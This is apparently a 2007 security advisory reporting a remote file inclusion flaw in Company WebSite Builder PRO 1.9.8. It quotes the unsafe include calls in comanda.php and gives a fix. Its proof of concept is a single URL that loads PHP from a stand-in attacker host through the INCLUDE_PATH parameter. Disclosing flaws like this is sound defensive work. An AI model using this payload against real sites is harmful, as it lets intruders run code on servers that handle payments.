Author : Dedi Dwianto a.k.a the_day  
Date Found : March, 15th 2007  
Location : Indonesia, Jakarta  
web : http://advisories.echo.or.id/adv/adv76-theday-2007.txt  
Critical Lvl : Highly critical  
Impact : System access  
Where : From Remote  
---------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : Company WebSite Builder PRO ( CWB )  
version : 1.9.8  
URL : http://www.grafxsoftware.com/  
  
This software makes it easy to build an e-commerce site that processes credit cards,   
wire transfers. This is a great Content Management System that's easy to install and use WITHOUT having   
to FTP upload pages every time they need to be updated.  
---------------------------------------------------------------------------  
  
Vulnerability:  
~~~~~~~~~~  
  
- Invalid include function at comanda.php  
-----------------------comanda.php------------  
  
<?  
...  
include($INCLUDE_LANGUAGE_PATH."$LANG.inc.php");  
include($INCLUDE_PATH."connection.php");  
include_once($INCLUDE_PATH."connection.php");  
include_once($INCLUDE_PATH."cls_produs.php");  
include_once($INCLUDE_PATH."cls_left_menu.php");  
include_once($INCLUDE_PATH."cls_stire.php");  
include_once($INCLUDE_PATH."cls_orders.php");  
include_once($INCLUDE_PATH."cls_headline_prod.php");  
include_once($INCLUDE_PATH."cls_checkout.php");  
include_once("cls_download_products.php");  
....  
?>  
----------------------------------------------------------  
  
Input passed to the "$INCLUDE_PATH" parameter in comanda.php is not  
properly verified before being used. This can be exploited to execute  
arbitrary PHP code by including files from local or external  
resources.  
  
  
  
Proof Of Concept:  
~~~~~~~~~~~  
  
http://localhost/cwb/comanda.php?INCLUDE_PATH=http://atacker.com/inject.txt?  
  
  
Solution:  
~~~  
  
- Sanitize variable $INCLUDE_PATH affected files.  
- Turn off register_globals
